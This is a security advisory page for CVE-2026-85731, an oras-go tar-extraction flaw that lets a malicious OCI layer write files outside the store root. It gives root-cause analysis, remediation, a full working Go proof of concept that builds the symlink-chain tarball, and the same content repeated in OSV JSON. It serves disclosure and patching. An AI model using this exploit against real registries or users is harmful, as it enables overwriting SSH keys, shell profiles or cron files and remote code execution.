CVE-2026-85731: oras-go Arbitrary File Write Outside File.Store Vulnerability

HIGH
Advisory Identifier: GHSA-m37j-52j7-pjw7
CVSS 8.8
CWE-59 CWE-22
Published
Advisory Summary

CVE-2026-85731 is a HIGH (CVSS 8.8) arbitrary file write outside file.store vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting oras-go libraries in the Go ecosystem. The issue involves arbitrary file write outside file.store root via symlink-chain bypass in tar extraction (pushdir). Remediation is available by upgrading affected packages to version 2.6.2.

CVE-2026-85731 at a Glance

CVE Identifier CVE-2026-85731
GHSA Identifier GHSA-m37j-52j7-pjw7
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product oras-go
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-85731

To remediate this vulnerability, upgrade all affected oras-go dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

oras.land/oras-go/v2 fixed: 2.6.2
Upgrade oras.land/oras-go/v2 to 2.6.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for oras.land/oras-go/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-85731, inspect your project dependencies for oras-go:

inspect dependencies for oras.land/oras-go/v2

Analyze the terminal output to locate any version of oras-go in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.6.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In oras-go, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default `AllowPathTraversalOnWrite=false` configuration — a canonical tar-slip → RCE primitive. ### Details **Affected versions:** `<= v2.6.1` **Entry point:** `content/file/file.go` line 486, `(*Store).pushDir` — reached from `(*Store).Push` for any descriptor whose annotations include `io.deis.oras.content.unpack: "true"` (i.e. `file.AnnotationUnpack`) and an `org.opencontainers.image.title`. `oras.Copy` from a remote registry into a `file.New(dir)` store invokes this per layer. **Root cause 1 — lexical link validation.** `content/file/utils.go` lines 264–275, `ensureLinkPath`: ```go func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) { // resolve link path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) } // ensure path is under baseAbs or baseRel if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", err } return target, nil } ``` `filepath.Join` cleans `..` components textually and does **not** dereference symlinks in intermediate components. It therefore cannot detect that a component of `target` is itself a previously-extracted symlink that the kernel will follow before applying subsequent `..` components. **Root cause 2 — parent-symlink check skipped for root-level entries.** `content/file/utils.go` lines 247–257, inside `resolveRelToBase`: ```go // No symbolic link allowed in the relative path dir := filepath.Dir(path) for dir != "." { if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil { ... } else if info.Mode()&os.ModeSymlink != 0 { return "", fmt.Errorf("no symbolic link allowed between %q and %q", baseRel, target) } dir = filepath.Dir(dir) } ``` For an entry named `<title>/escape`, `path == "escape"` and `filepath.Dir("escape") == "."`, so the loop body never executes — the entry itself is never `Lstat`-checked. **Root cause 3 — write follows symlinks.** `content/file/utils.go` line 279, `writeFile`: ```go file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm) ``` No `O_NOFOLLOW`, so if `path` is a symlink the write goes to its target. **Data flow / exploit construction.** Let `baseAbs = <workingDir>/<title>` and `N = depth(baseAbs)` (number of path components from `/`). The attacker's tar.gz contains, in order: 1. `N` nested directories `<title>/d0/d1/…/d{N-1}`. 2. A symlink `<title>/d0/…/d{N-1}/up` → `"../../…"` (`N` levels). Both lexically and on disk this resolves to `baseAbs`, so `ensureLinkPath` accepts it and `resolveRelToBase` sees only real directories in its ancestry. 3. A symlink `<title>/escape` → `"d0/…/d{N-1}/up/../../…/<absTarget>"` (`N` `..` components after `up`). **Lexically**, `filepath.Join(baseAbs, "d0/…/up/../…/<absTarget>")` cancels the `N` `..` against `up` plus `d{N-2}…d0`, yielding `baseAbs/d0/<absTarget>` — inside the root, so `ensureLinkPath` accepts it. `resolveRelToBase` then walks `d0/<absTarget-parents>`, none of which are symlinks (they don't exist), so the link is created. **At the kernel**, resolving `baseAbs/d0/…/up` first follows `up` back to `baseAbs`, and the remaining `N` `..` components climb from `baseAbs` to `/`, then `<absTarget>` is appended — the symlink points at the attacker-chosen absolute path. 4. A regular file `<title>/escape` (same name). `resolveRelToBase("escape")` yields `dir == "."` (root cause 2), so no `Lstat` is performed. `extractTarDirectory` (line 181) calls `writeFile` which opens `baseAbs/escape` with `O_TRUNC` and no `O_NOFOLLOW` (root cause 3), writing the attacker's payload through the symlink to `<absTarget>`. **Why v2.6.1's `checkSymlinkEscape` does not help.** The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from `resolveWritePath` (`content/file/file.go` line 632) on the **`pushFile`** path. `pushDir` → `extractTarGzip` → `extractTarDirectory` never calls it; `content/file/utils.go` is byte-identical between v2.6.0 and v2.6.1. **Suggested remediation.** Any of: (a) `Lstat` the final path component before opening for write and reject symlinks; (b) open with `O_NOFOLLOW` (or `O_EXCL` for new files); (c) resolve link targets with `filepath.EvalSymlinks` on the deepest existing ancestor (as `checkSymlinkEscape` already does) instead of lexical `filepath.Join`; (d) extract into a fresh empty directory and use `openat2(RESOLVE_BENEATH)` / `os.Root` (Go 1.24+) for all filesystem operations. ### PoC ``` go mod init poc go get oras.land/oras-go/v2@v2.6.1 go run . ``` ```go // Arbitrary file write outside a default-configured file.Store via // symlink-chain bypass in content/file.extractTarDirectory. // // ensureLinkPath() validates symlink targets purely lexically with // filepath.Join, which collapses ".." textually and does not follow // intermediate symlink components. By first planting a deep "up" symlink // that legitimately resolves to the extraction root, an "escape" symlink // can be crafted whose lexical target stays in-bounds but whose // kernel-resolved target is any absolute path. A follow-up TypeReg entry // with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW), // writing through the symlink. // // Realistic trigger: oras.Copy() from an untrusted registry into a // file.New() store. The attacker controls the manifest (sets // AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob. // All digests are honest, so content verification passes. package main import ( "archive/tar" "bytes" "compress/gzip" "context" _ "crypto/sha256" "fmt" "os" "path/filepath" "strings" "github.com/opencontainers/go-digest" ocispec "github.com/opencontainers/image-spec/specs-go/v1" "oras.land/oras-go/v2/content/file" ) func main() { if err := run(); err != nil { fmt.Println("ERROR:", err) os.Exit(1) } } func run() error { ctx := context.Background() // Victim's working directory for the file store. workDir, err := os.MkdirTemp("", "oras-victim-*") if err != nil { return err } defer os.RemoveAll(workDir) fmt.Println("[*] file.Store working dir:", workDir) // Target path the attacker wants to write, OUTSIDE workDir. // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.; // a temp path keeps the demo self-contained.) outsidePath := filepath.Join(os.TempDir(), "oras-PWNED") _ = os.Remove(outsidePath) defer os.Remove(outsidePath) fmt.Println("[*] attacker target (outside workDir):", outsidePath) // The layer's AnnotationTitle. extractTarDirectory uses this as both the // in-tar prefix and the on-disk subdir under workDir. const title = "out" baseAbs := filepath.Join(workDir, title) // N nested dirs + a symlink "up" -> N*"../" so that after the kernel // follows "up" (landing at baseAbs) the remaining N lexical ".." // components climb from baseAbs to "/". N must be >= depth(baseAbs). depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "/")) fmt.Printf("[*] baseAbs depth = %d, building %d nested dirs\n", depth, depth) gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath) if err != nil { return err } // Descriptor exactly as it would appear in a manifest's "layers" array. desc := ocispec.Descriptor{ MediaType: "application/vnd.oci.image.layer.v1.tar+gzip", Digest: dgst, Size: size, Annotations: map[string]string{ ocispec.AnnotationTitle: title, file.AnnotationUnpack: "true", }, } // Victim creates a file store with default settings (path traversal DISALLOWED). store, err := file.New(workDir) if err != nil { return err } defer store.Close() fmt.Println("[*] store.AllowPathTraversalOnWrite =", store.AllowPathTraversalOnWrite) // This is exactly what oras.Copy() invokes per layer. if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil { return fmt.Errorf("Push: %w", err) } // Check whether the out-of-tree file was written. if data, err := os.ReadFile(outsidePath); err == nil { rel, _ := filepath.Rel(workDir, outsidePath) fmt.Printf("\n[!] BYPASS: wrote %q to %s\n", string(data), outsidePath) fmt.Printf("[!] relative to workDir: %s\n", rel) fmt.Println("[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir") return nil } fmt.Println("\n[-] no escape (file not created at", outsidePath, ")") return nil } // buildMaliciousLayer builds a tar.gz that, when extracted by // content/file.extractTarDirectory under <workDir>/<title>, writes to outsidePath. func buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) { var buf bytes.Buffer gzw := gzip.NewWriter(&buf) tw := tar.NewWriter(gzw) // 1. Nested directories: title/d0/d1/.../d{depth-1} dirs := make([]string, depth) for i := 0; i < depth; i++ { dirs[i] = fmt.Sprintf("d%d", i) } for i := 1; i <= depth; i++ { name := title + "/" + strings.Join(dirs[:i], "/") if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil { return nil, "", 0, err } } // 2. "up" symlink at the bottom, pointing back to baseAbs via depth*"../". // Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath. upName := title + "/" + strings.Join(dirs, "/") + "/up" upTarget := strings.Repeat("../", depth-1) + ".." if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil { return nil, "", 0, err } // 3. "escape" symlink at title/escape. // Target = d0/.../d{N-1}/up/../.. (N times) /<outsidePath> // LEXICAL clean: the N ".." cancel "up" + (N-1) dirs, leaving // d0/<outsidePath> - INSIDE baseAbs, so ensureLinkPath accepts it. // KERNEL: d0/.../up follows the symlink to baseAbs, then N*".." // climbs to "/", then appends outsidePath. dots := strings.Repeat("../", depth-1) + ".." escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outsidePath if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: title + "/escape", Linkname: escapeTarget, Mode: 0o777}); err != nil { return nil, "", 0, err } // 4. Regular file entry at title/escape - same path as the symlink. // resolveRelToBase("escape") has dir=="." so the per-component Lstat // loop never runs; writeFile opens with O_CREATE|O_TRUNC (no // O_NOFOLLOW) and writes through the symlink to outsidePath. payload := []byte("PWNED-BY-ORAS-TARSLIP") if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeReg, Name: title + "/escape", Mode: 0o644, Size: int64(len(payload))}); err != nil { return nil, "", 0, err } if _, err := tw.Write(payload); err != nil { return nil, "", 0, err } if err := tw.Close(); err != nil { return nil, "", 0, err } if err := gzw.Close(); err != nil { return nil, "", 0, err } data := buf.Bytes() return data, digest.FromBytes(data), int64(len(data)), nil } ``` Expected output (paths vary): ``` [*] file.Store working dir: /tmp/oras-victim-209731351 [*] attacker target (outside workDir): /tmp/oras-PWNED [*] baseAbs depth = 3, building 3 nested dirs [*] store.AllowPathTraversalOnWrite = false [!] BYPASS: wrote "PWNED-BY-ORAS-TARSLIP" to /tmp/oras-PWNED [!] relative to workDir: ../oras-PWNED [!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir ``` ### Impact **Who is affected:** Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a `content/file.Store` — e.g. `oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts)`, the documented primary use of the file store — with default settings (`AllowPathTraversalOnWrite=false`, `SkipUnpack=false`). Downstream consumers include the ORAS CLI (`oras pull` to a directory) and tools built on oras-go that materialise artifact contents on disk. **What the attacker gains:** Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting `~/.ssh/authorized_keys`, `~/.bashrc`/`~/.profile`, Git hooks, or (when running as root, e.g. in CI or a controller) `/etc/cron.d/*` or binaries on `$PATH` — i.e. remote code execution on the victim host. **Preconditions / reachability:** No local preconditions beyond pulling an attacker-controlled artifact; the attacker does **not** need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (`UI:R`).

CVE-2026-85731 Affected oras-go Versions

1 component(s)
Fixed Versions:
2.6.2
Product / Package Ecosystem Affected Versions Fixed Version
oras.land/oras-go/v2
Go
< 2.6.2
2.6.2

References

Frequently Asked Questions

What is CVE-2026-85731?
CVE-2026-85731 is a security vulnerability in oras-go involving Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir) under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which oras-go versions are affected?
Affected versions include releases prior to 2.6.2 across affected packages: oras.land/oras-go/v2.
What version fixes CVE-2026-85731?
Upgrading to 2.6.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is oras.land/oras-go/v2 affected?
Yes, oras.land/oras-go/v2 is affected in releases prior to 2.6.2. Upgrade your dependency to 2.6.2 or later.
What is the CVSS score of CVE-2026-85731?
CVE-2026-85731 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-85731?
CVE-2026-85731 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check Go dependencies for CVE-2026-85731?
Run the dependency tree command: 'inspect dependencies for oras.land/oras-go/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m37j-52j7-pjw7",
  "modified" : "2026-09-17T17:15:57Z",
  "published" : "2026-09-17T17:15:57Z",
  "aliases" : [ "CVE-2026-85731" ],
  "summary" : "oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)",
  "details" : "### Summary\nThe `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default `AllowPathTraversalOnWrite=false` configuration — a canonical tar-slip → RCE primitive.\n\n### Details\n**Affected versions:** `<= v2.6.1`\n\n**Entry point:** `content/file/file.go` line 486, `(*Store).pushDir` — reached from `(*Store).Push` for any descriptor whose annotations include `io.deis.oras.content.unpack: \"true\"` (i.e. `file.AnnotationUnpack`) and an `org.opencontainers.image.title`. `oras.Copy` from a remote registry into a `file.New(dir)` store invokes this per layer.\n\n**Root cause 1 — lexical link validation.** `content/file/utils.go` lines 264–275, `ensureLinkPath`:\n\n```go\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {\n        // resolve link\n        path := target\n        if !filepath.IsAbs(target) {\n                path = filepath.Join(filepath.Dir(link), target)\n        }\n        // ensure path is under baseAbs or baseRel\n        if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {\n                return \"\", err\n        }\n        return target, nil\n}\n```\n\n`filepath.Join` cleans `..` components textually and does **not** dereference symlinks in intermediate components. It therefore cannot detect that a component of `target` is itself a previously-extracted symlink that the kernel will follow before applying subsequent `..` components.\n\n**Root cause 2 — parent-symlink check skipped for root-level entries.** `content/file/utils.go` lines 247–257, inside `resolveRelToBase`:\n\n```go\n// No symbolic link allowed in the relative path\ndir := filepath.Dir(path)\nfor dir != \".\" {\n        if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {\n                ...\n        } else if info.Mode()&os.ModeSymlink != 0 {\n                return \"\", fmt.Errorf(\"no symbolic link allowed between %q and %q\", baseRel, target)\n        }\n        dir = filepath.Dir(dir)\n}\n```\n\nFor an entry named `<title>/escape`, `path == \"escape\"` and `filepath.Dir(\"escape\") == \".\"`, so the loop body never executes — the entry itself is never `Lstat`-checked.\n\n**Root cause 3 — write follows symlinks.** `content/file/utils.go` line 279, `writeFile`:\n\n```go\nfile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)\n```\n\nNo `O_NOFOLLOW`, so if `path` is a symlink the write goes to its target.\n\n**Data flow / exploit construction.** Let `baseAbs = <workingDir>/<title>` and `N = depth(baseAbs)` (number of path components from `/`). The attacker's tar.gz contains, in order:\n\n1. `N` nested directories `<title>/d0/d1/…/d{N-1}`.\n2. A symlink `<title>/d0/…/d{N-1}/up` → `\"../../…\"` (`N` levels). Both lexically and on disk this resolves to `baseAbs`, so `ensureLinkPath` accepts it and `resolveRelToBase` sees only real directories in its ancestry.\n3. A symlink `<title>/escape` → `\"d0/…/d{N-1}/up/../../…/<absTarget>\"` (`N` `..` components after `up`). **Lexically**, `filepath.Join(baseAbs, \"d0/…/up/../…/<absTarget>\")` cancels the `N` `..` against `up` plus `d{N-2}…d0`, yielding `baseAbs/d0/<absTarget>` — inside the root, so `ensureLinkPath` accepts it. `resolveRelToBase` then walks `d0/<absTarget-parents>`, none of which are symlinks (they don't exist), so the link is created. **At the kernel**, resolving `baseAbs/d0/…/up` first follows `up` back to `baseAbs`, and the remaining `N` `..` components climb from `baseAbs` to `/`, then `<absTarget>` is appended — the symlink points at the attacker-chosen absolute path.\n4. A regular file `<title>/escape` (same name). `resolveRelToBase(\"escape\")` yields `dir == \".\"` (root cause 2), so no `Lstat` is performed. `extractTarDirectory` (line 181) calls `writeFile` which opens `baseAbs/escape` with `O_TRUNC` and no `O_NOFOLLOW` (root cause 3), writing the attacker's payload through the symlink to `<absTarget>`.\n\n**Why v2.6.1's `checkSymlinkEscape` does not help.** The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from `resolveWritePath` (`content/file/file.go` line 632) on the **`pushFile`** path. `pushDir` → `extractTarGzip` → `extractTarDirectory` never calls it; `content/file/utils.go` is byte-identical between v2.6.0 and v2.6.1.\n\n**Suggested remediation.** Any of: (a) `Lstat` the final path component before opening for write and reject symlinks; (b) open with `O_NOFOLLOW` (or `O_EXCL` for new files); (c) resolve link targets with `filepath.EvalSymlinks` on the deepest existing ancestor (as `checkSymlinkEscape` already does) instead of lexical `filepath.Join`; (d) extract into a fresh empty directory and use `openat2(RESOLVE_BENEATH)` / `os.Root` (Go 1.24+) for all filesystem operations.\n\n### PoC\n```\ngo mod init poc\ngo get oras.land/oras-go/v2@v2.6.1\ngo run .\n```\n\n```go\n// Arbitrary file write outside a default-configured file.Store via\n// symlink-chain bypass in content/file.extractTarDirectory.\n//\n// ensureLinkPath() validates symlink targets purely lexically with\n// filepath.Join, which collapses \"..\" textually and does not follow\n// intermediate symlink components. By first planting a deep \"up\" symlink\n// that legitimately resolves to the extraction root, an \"escape\" symlink\n// can be crafted whose lexical target stays in-bounds but whose\n// kernel-resolved target is any absolute path. A follow-up TypeReg entry\n// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),\n// writing through the symlink.\n//\n// Realistic trigger: oras.Copy() from an untrusted registry into a\n// file.New() store. The attacker controls the manifest (sets\n// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.\n// All digests are honest, so content verification passes.\npackage main\n\nimport (\n        \"archive/tar\"\n        \"bytes\"\n        \"compress/gzip\"\n        \"context\"\n        _ \"crypto/sha256\"\n        \"fmt\"\n        \"os\"\n        \"path/filepath\"\n        \"strings\"\n\n        \"github.com/opencontainers/go-digest\"\n        ocispec \"github.com/opencontainers/image-spec/specs-go/v1\"\n        \"oras.land/oras-go/v2/content/file\"\n)\n\nfunc main() {\n        if err := run(); err != nil {\n                fmt.Println(\"ERROR:\", err)\n                os.Exit(1)\n        }\n}\n\nfunc run() error {\n        ctx := context.Background()\n\n        // Victim's working directory for the file store.\n        workDir, err := os.MkdirTemp(\"\", \"oras-victim-*\")\n        if err != nil {\n                return err\n        }\n        defer os.RemoveAll(workDir)\n        fmt.Println(\"[*] file.Store working dir:\", workDir)\n\n        // Target path the attacker wants to write, OUTSIDE workDir.\n        // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;\n        // a temp path keeps the demo self-contained.)\n        outsidePath := filepath.Join(os.TempDir(), \"oras-PWNED\")\n        _ = os.Remove(outsidePath)\n        defer os.Remove(outsidePath)\n        fmt.Println(\"[*] attacker target (outside workDir):\", outsidePath)\n\n        // The layer's AnnotationTitle. extractTarDirectory uses this as both the\n        // in-tar prefix and the on-disk subdir under workDir.\n        const title = \"out\"\n        baseAbs := filepath.Join(workDir, title)\n\n        // N nested dirs + a symlink \"up\" -> N*\"../\" so that after the kernel\n        // follows \"up\" (landing at baseAbs) the remaining N lexical \"..\"\n        // components climb from baseAbs to \"/\". N must be >= depth(baseAbs).\n        depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), \"/\"), \"/\"))\n        fmt.Printf(\"[*] baseAbs depth = %d, building %d nested dirs\\n\", depth, depth)\n\n        gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath)\n        if err != nil {\n                return err\n        }\n\n        // Descriptor exactly as it would appear in a manifest's \"layers\" array.\n        desc := ocispec.Descriptor{\n                MediaType: \"application/vnd.oci.image.layer.v1.tar+gzip\",\n                Digest:    dgst,\n                Size:      size,\n                Annotations: map[string]string{\n                        ocispec.AnnotationTitle: title,\n                        file.AnnotationUnpack:   \"true\",\n                },\n        }\n\n        // Victim creates a file store with default settings (path traversal DISALLOWED).\n        store, err := file.New(workDir)\n        if err != nil {\n                return err\n        }\n        defer store.Close()\n        fmt.Println(\"[*] store.AllowPathTraversalOnWrite =\", store.AllowPathTraversalOnWrite)\n\n        // This is exactly what oras.Copy() invokes per layer.\n        if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {\n                return fmt.Errorf(\"Push: %w\", err)\n        }\n\n        // Check whether the out-of-tree file was written.\n        if data, err := os.ReadFile(outsidePath); err == nil {\n                rel, _ := filepath.Rel(workDir, outsidePath)\n                fmt.Printf(\"\\n[!] BYPASS: wrote %q to %s\\n\", string(data), outsidePath)\n                fmt.Printf(\"[!] relative to workDir: %s\\n\", rel)\n                fmt.Println(\"[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\")\n                return nil\n        }\n        fmt.Println(\"\\n[-] no escape (file not created at\", outsidePath, \")\")\n        return nil\n}\n\n// buildMaliciousLayer builds a tar.gz that, when extracted by\n// content/file.extractTarDirectory under <workDir>/<title>, writes to outsidePath.\nfunc buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {\n        var buf bytes.Buffer\n        gzw := gzip.NewWriter(&buf)\n        tw := tar.NewWriter(gzw)\n\n        // 1. Nested directories: title/d0/d1/.../d{depth-1}\n        dirs := make([]string, depth)\n        for i := 0; i < depth; i++ {\n                dirs[i] = fmt.Sprintf(\"d%d\", i)\n        }\n        for i := 1; i <= depth; i++ {\n                name := title + \"/\" + strings.Join(dirs[:i], \"/\")\n                if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {\n                        return nil, \"\", 0, err\n                }\n        }\n\n        // 2. \"up\" symlink at the bottom, pointing back to baseAbs via depth*\"../\".\n        //    Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.\n        upName := title + \"/\" + strings.Join(dirs, \"/\") + \"/up\"\n        upTarget := strings.Repeat(\"../\", depth-1) + \"..\"\n        if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        // 3. \"escape\" symlink at title/escape.\n        //    Target = d0/.../d{N-1}/up/../.. (N times) /<outsidePath>\n        //    LEXICAL clean: the N \"..\" cancel \"up\" + (N-1) dirs, leaving\n        //      d0/<outsidePath>  - INSIDE baseAbs, so ensureLinkPath accepts it.\n        //    KERNEL: d0/.../up follows the symlink to baseAbs, then N*\"..\"\n        //      climbs to \"/\", then appends outsidePath.\n        dots := strings.Repeat(\"../\", depth-1) + \"..\"\n        escapeTarget := strings.Join(dirs, \"/\") + \"/up/\" + dots + outsidePath\n        if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: title + \"/escape\", Linkname: escapeTarget, Mode: 0o777}); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        // 4. Regular file entry at title/escape - same path as the symlink.\n        //    resolveRelToBase(\"escape\") has dir==\".\" so the per-component Lstat\n        //    loop never runs; writeFile opens with O_CREATE|O_TRUNC (no\n        //    O_NOFOLLOW) and writes through the symlink to outsidePath.\n        payload := []byte(\"PWNED-BY-ORAS-TARSLIP\")\n        if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeReg, Name: title + \"/escape\", Mode: 0o644, Size: int64(len(payload))}); err != nil {\n                return nil, \"\", 0, err\n        }\n        if _, err := tw.Write(payload); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        if err := tw.Close(); err != nil {\n                return nil, \"\", 0, err\n        }\n        if err := gzw.Close(); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        data := buf.Bytes()\n        return data, digest.FromBytes(data), int64(len(data)), nil\n}\n```\n\nExpected output (paths vary):\n\n```\n[*] file.Store working dir: /tmp/oras-victim-209731351\n[*] attacker target (outside workDir): /tmp/oras-PWNED\n[*] baseAbs depth = 3, building 3 nested dirs\n[*] store.AllowPathTraversalOnWrite = false\n\n[!] BYPASS: wrote \"PWNED-BY-ORAS-TARSLIP\" to /tmp/oras-PWNED\n[!] relative to workDir: ../oras-PWNED\n[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\n```\n\n### Impact\n**Who is affected:** Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a `content/file.Store` — e.g. `oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts)`, the documented primary use of the file store — with default settings (`AllowPathTraversalOnWrite=false`, `SkipUnpack=false`). Downstream consumers include the ORAS CLI (`oras pull` to a directory) and tools built on oras-go that materialise artifact contents on disk.\n\n**What the attacker gains:** Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting `~/.ssh/authorized_keys`, `~/.bashrc`/`~/.profile`, Git hooks, or (when running as root, e.g. in CI or a controller) `/etc/cron.d/*` or binaries on `$PATH` — i.e. remote code execution on the victim host.\n\n**Preconditions / reachability:** No local preconditions beyond pulling an attacker-controlled artifact; the attacker does **not** need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (`UI:R`).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "oras.land/oras-go/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.6.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.6.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/oras-project/oras-go/security/advisories/GHSA-m37j-52j7-pjw7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-85731"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oras-project/oras-go/commit/adab2f25ea95ef4e6e41f50db9266a6701399422"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/oras-project/oras-go"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oras-project/oras-go/releases/tag/v2.6.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-17T17:15:57Z",
    "nvd_published_at" : "2026-09-16T17:18:15Z"
  }
}